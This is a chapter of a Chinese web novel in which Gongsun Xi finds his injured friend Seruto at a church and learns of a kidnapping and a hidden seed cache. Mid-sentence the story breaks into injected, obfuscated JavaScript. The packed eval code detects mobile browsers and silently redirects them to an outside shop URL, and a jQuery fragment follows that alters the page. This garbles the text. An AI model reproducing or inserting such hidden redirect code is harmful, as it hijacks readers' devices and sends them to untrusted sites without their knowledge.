公孙锡到教堂的时候太阳只剩下一丝余晖还在地平线上。
教堂前面有一块不大的空地,菜地里一片绿油油的,看着像是最近刚采摘过。
空地的尽头有棵老橡树,风一吹碎叶子打着旋儿贴地跑。
偏房门口有人正在劈柴,斧子落下去的声音很闷,一下接一下。
那人看到公孙锡走近,停下了手上的动作,摆出一副警惕的姿势。
远远看去那**概二十出头,肩膀宽阔,站姿稳健,手里的斧子换了握法,随时都能向前挥出。
他看了公孙锡几秒,开口问:“你是什么人?”
公孙锡举起双手,表示自己没有恶意:
“我的一个朋友说,他最近借住在你们这里,叫塞鲁托。”
对方的神情渐渐放松下来,盯着公孙锡的脸又看了一圈,像是突然明白了什么。
“你是不是叫公孙锡?那小子整天念叨你。”
公孙锡放下手,尴尬地点了点头:“没错,是我。”
马库斯把斧子插在了木桩上,指着教堂后面的方向:“前面右手第二间房,他这会儿应该在那看书。”
马库斯说完又拾起斧头,继续将面前的木柴劈开。
公孙锡顺着马库斯所指的方向,来到了房门前,房间里的烛光透过彩色的玻璃,不断摇晃。
他刚刚推开门时,塞鲁托正在书架底下坐着,当看清门口站着的人时,愣了一下,抓住身旁的书架才稳住身体。
“锡哥!你怎么来了?”
公孙锡笑着快走几步到他跟前,扶住他的胳膊,把他按回椅子上坐好。
“我收到了你写的信。”
塞鲁托被按坐下来,仰头看着他,嘴唇动了两下才出声:“我不是说了不用急着过来……”
公孙锡在他旁边坐下:“是的我看见了。”
塞鲁托低头摸了一下腿上的木制夹板:
“那你还是来了。”
公孙锡拍了拍他的肩膀,低头看着塞鲁托受伤的腿:
“你在信上可没说伤得这么严重。”
塞鲁托挠了挠头,解释着:“我怕你们担心,对了锡哥,你从营地来的么?狄娜她还好么?”
公孙锡说:“我刚到营地的时候她在发烧,不过你不用担心,她现在吃了药已经好多了,估计再过两三天就能完全康复。”
塞鲁托点了点头,没再追问,他知道锡哥这几天肯定有在好好照顾狄娜。
他整个人像是从绷紧的状态里松了下来,后背靠到了椅背上,两条胳膊搭在膝盖上沉默了一会儿才开口:
“那天跳伞之后我挂在了树上,后来从树上掉下来的时候摔断了腿,在地上躺了两天,是马库斯路过把我捡回来的。”
他顿了顿,像是在组织后面的话,食指敲了两下膝盖。
“我们刚落地不久,我就在树上远远看见莉莉安被人抓了起来,那群人穿着制式铠甲,是精灵的服饰风格。
她当时被两个人架着走在队伍中间,离我越来越远,我喊了一嗓子,那些人停下来往我这边看了一眼,然后没过来,又继续走了。”
他说完抬头看着公孙锡:“我不知道该怎么办,只能把这件事告诉你们。”
公孙锡思索着塞鲁托刚刚所说的经历,然后问道:
“教堂里的人知道这件事吗?”
“是的,安布罗斯神父,还有马库斯,他们说那些精灵在这片区域出现过好几次了,像是专门来找什么的。”
塞鲁托说着,两根眉毛耷拉了下来,眼神也变得没有生机。
公孙锡见眼前的小胖子似乎状态不太好,于是便岔开话题:
“你在这里怎么样,看的什么书?”
塞鲁托把面前的书合上,将封面转过来对着公孙锡,上面用繁复的字体写着书名——《神光录》。
这是一本记录阿隆尼尔行走人间时所作所为的书。
公孙锡虽然对这些古老的神祇并不感兴趣,但仍耐心等塞鲁托说完。
“这里有一段话:祂行在北方冰冷的土地上,脚踪无人追寻;祂将手探入雪下的深渊,撒下了一粒火的种子。那种子不为人见,不为雪灭,直到时候满足,便要发芽如树,覆盖荒芜之地。”
塞鲁托将书上的字一句句念完,然后指着一个词对公孙锡说:
“这里不知道被谁圈起来,添加了一行注释,我不明白是什么意思。”
公孙锡凑过脑袋,在摇曳的烛火下辨认出,“种子”二字被圈了起来,旁边写道:转基因小麦种子所在地。
他像是突然意识到了些什么,变得认真了起来,如果这行注释所说是真的,那营地以后的粮食将不再是问题。
“对了,有两张纸掉出来过,我又塞回去了。”塞鲁托从书页后面抽出两张叠好的泛黄纸递过来。
两张纸拼接起来是一幅局部地图,线条细而密,标注了一个位置,写着一个词,像是地名,也像是编号。
门口传来脚步声,马库斯正把劈好的柴往灶房搬,路过门口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740760|208910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的时候往里面看了一眼,没有停下就走了。
塞鲁托等他走远了才压低声音说:
“你是不是已经见过马库斯了,教堂前面那片菜地,前几天晚上总有些奇怪的响动,白天看却只剩下脚印了,那脚印看起来乱糟糟的,菜也少了几颗。马库斯守了两个晚上,但啥也没守到,他最近一直在菜地。”
公孙锡听完,往门口看了一眼,外面的天色已经暗下来了,菜地的轮廓变得模糊,只能看到地垄上一片高低不平的黑影,豁口处像是被什么东西刨过,土翻在外面。
塞鲁托又想起什么似的补了一句:
“马库斯在这事上有点较真,他在地里下了套子,每天早上都会去看有没有夹到东西。”
“天亮我会去看看。”公孙锡说。
灶房那边传来锅碗碰撞的声音,然后是水烧开咕嘟冒泡的动静,马库斯过来敲了敲门,探了半个身子进来:
“饭好了,偏房那边还有个空,你吃完饭可以睡那。”
公孙锡本想拒绝,但塞鲁托劝他说没有关系,自己和修道院里的人关系很好。
公孙锡看了他一眼,最终点了点头,转身进了灶房。
灶房的灶膛里柴火烧得很旺,刚劈好的木柴噼啪响着。
马库斯正把一只陶罐从灶眼上端下来,放在桌上,递了只碗给公孙锡:
“只有这东西了,我们叫菜糊糊,其实味道还不错。”
公孙锡接了碗坐下,他用勺子搅着碗里的菜汤,对马库斯表示感谢。
马库斯在他对面坐下,靠在椅背上看着灶膛里的火:
“塞鲁托和你说了菜地里的事情?”
公孙锡把碗里的菜糊糊喝了两口,放下碗:“说了,我准备明天先去看看脚印。”
马库斯这时候才抬头看他,看了几秒,点了点头:“成。”
……
偏房不大,有一张硬木床,窗户留着一道缝,风从缝里灌进来带着凉意。
他伸手把窗户推了一下,卡住了,推不到底,缝还在,墙角木钉上挂着一条叠好的灰毯子,他拉下来铺在了床上。
窗外的风卷过来,老橡树的枝丫刮过瓦片,声音尖厉短促,风里夹着另一种声音,有什么东西踩在菜地松软的土面上,好像停了很久,又好像从没来过。
公孙锡手搭在骨刀柄上,过了好一会儿那声音没有再来,老橡树的枝丫又刮过瓦片,长夜恢复了寂静。
他翻了个身面朝墙壁,将骨刀放在枕头下面,然后闭上了眼睛。